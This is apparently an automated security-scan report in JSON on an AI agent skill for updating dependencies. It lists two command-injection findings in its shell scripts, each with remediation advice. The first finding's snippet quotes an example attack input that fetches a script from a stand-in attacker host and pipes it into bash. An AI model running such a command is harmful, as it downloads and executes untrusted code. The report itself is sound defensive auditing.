{
  "skill_name": "dependency-updater",
  "skill_path": "/workspace/skills/softaworks-agent-toolkit/skills/dependency-updater",
  "skill_directory": "/workspace/skills/softaworks-agent-toolkit/skills/dependency-updater",
  "is_safe": true,
  "max_severity": "MEDIUM",
  "findings_count": 2,
  "findings": [
    {
      "id": "llm_finding_dependency-updater_1",
      "rule_id": "LLM_COMMAND_INJECTION",
      "category": "command_injection",
      "severity": "MEDIUM",
      "title": "Unvalidated Command Execution in check-tool.sh",
      "description": "The check-tool.sh script executes arbitrary commands passed as arguments without validation or sanitization. The script runs '$TOOL_NAME --version' where $TOOL_NAME comes from user input, creating a command injection risk if malicious input is provided.",
      "file_path": "scripts/check-tool.sh",
      "line_number": 13,
      "snippet": "Line 13: '$TOOL_NAME --version 2>/dev/null || true' - Executes user-provided tool name without validation. An attacker could provide input like 'curl http://evil.com/malware.sh | bash' as the tool name.",
      "remediation": "Implement input validation: (1) Whitelist allowed tool names, (2) Validate tool name matches expected pattern (alphanumeric/dash only), (3) Use command -v for existence checks only, avoid executing arbitrary commands with user input.",
      "analyzer": "llm",
      "metadata": {
        "model": "claude-sonnet-4-5-20250929",
        "overall_assessment": "The dependency-updater skill is a legitimate dependency management tool with MEDIUM security concerns. The primary risks involve command injection vulnerabilities in bash scripts that execute user-provided input without proper validation (check-tool.sh and run-taze.sh). The skill lacks explicit allowed-tools declaration, making it difficult to validate intended permissions. The core functionality (updating dependencies) is appropriate for the stated purpose, but the implementation needs hardening against injection attacks. No data exfiltration, credential theft, or prompt injection attempts were detected. The skill appears to be a genuine utility tool that needs security improvements in input validation and argument handling.",
        "primary_threats": [
          "Command Injection",
          "Unvalidated Input Execution",
          "Missing Tool Restrictions"
        ],
        "aitech": "AITech-9.1",
        "aitech_name": "Model or Agentic System Manipulation",
        "aisubtech": "AISubtech-9.1.4",
        "aisubtech_name": "Injection Attacks (SQL, Command Execution, XSS)",
        "scanner_category": "INJECTION ATTACK",
        "meta_validated": true,
        "meta_confidence": "MEDIUM",
        "meta_confidence_reason": "The script does execute user-provided input, but exploitation requires the agent to pass malicious input to the script. The 'command -v' check on line 11 provides some protection by verifying the tool exists before version checking, but doesn't prevent all injection scenarios.",
        "meta_exploitability": "Medium - Requires agent to invoke script with malicious tool name parameter",
        "meta_impact": "Medium - Could execute arbitrary commands in the context of the skill execution"
      }
    },
    {
      "id": "llm_finding_dependency-updater_2",
      "rule_id": "LLM_COMMAND_INJECTION",
      "category": "command_injection",
      "severity": "MEDIUM",
      "title": "Arbitrary Argument Passing in run-taze.sh",
      "description": "The run-taze.sh script passes all user-provided arguments directly to the taze command without validation ('taze \"$@\"'). This allows users to inject arbitrary command-line flags that could modify taze's behavior in unintended ways, potentially including dangerous operations like writing to arbitrary locations or executing additional commands.",
      "file_path": "scripts/run-taze.sh",
      "line_number": 28,
      "snippet": "Line 28: 'taze \"$@\"' - Passes all arguments directly to taze without filtering. Users could inject flags like '--write' or other options that modify behavior beyond intended scope.",
      "remediation": "Implement argument validation: (1) Whitelist allowed taze flags (e.g., -r for recursive, -i for interactive), (2) Parse and validate arguments before passing to taze, (3) Reject or sanitize unexpected arguments, (4) Document which taze options are supported.",
      "analyzer": "llm",
      "metadata": {
        "model": "claude-sonnet-4-5-20250929",
        "overall_assessment": "The dependency-updater skill is a legitimate dependency management tool with MEDIUM security concerns. The primary risks involve command injection vulnerabilities in bash scripts that execute user-provided input without proper validation (check-tool.sh and run-taze.sh). The skill lacks explicit allowed-tools declaration, making it difficult to validate intended permissions. The core functionality (updating dependencies) is appropriate for the stated purpose, but the implementation needs hardening against injection attacks. No data exfiltration, credential theft, or prompt injection attempts were detected. The skill appears to be a genuine utility tool that needs security improvements in input validation and argument handling.",
        "primary_threats": [
          "Command Injection",
          "Unvalidated Input Execution",
          "Missing Tool Restrictions"
        ],
        "aitech": "AITech-9.1",
        "aitech_name": "Model or Agentic System Manipulation",
        "aisubtech": "AISubtech-9.1.4",
        "aisubtech_name": "Injection Attacks (SQL, Command Execution, XSS)",
        "scanner_category": "INJECTION ATTACK",
        "meta_validated": true,
        "meta_confidence": "MEDIUM",
        "meta_confidence_reason": "This is a design choice for flexibility. The skill documentation explicitly shows using '--write' flags, so blocking them would break intended functionality. The risk is moderate because taze operates on package.json files in the current directory.",
        "meta_exploitability": "Low - Requires agent to pass malicious flags, and taze's scope is limited to dependency management",
        "meta_impact": "Low - Limited to taze's capabilities, which are file modifications in the project directory"
      }
    }
  ],
  "scan_duration_seconds": 28.32298469543457,
  "duration_ms": 28322,
  "analyzers_used": [
    "static_analyzer",
    "behavioral_analyzer",
    "llm_analyzer",
    "trigger_analyzer",
    "meta_analyzer"
  ],
  "timestamp": "2026-02-05T23:59:42.479175"
}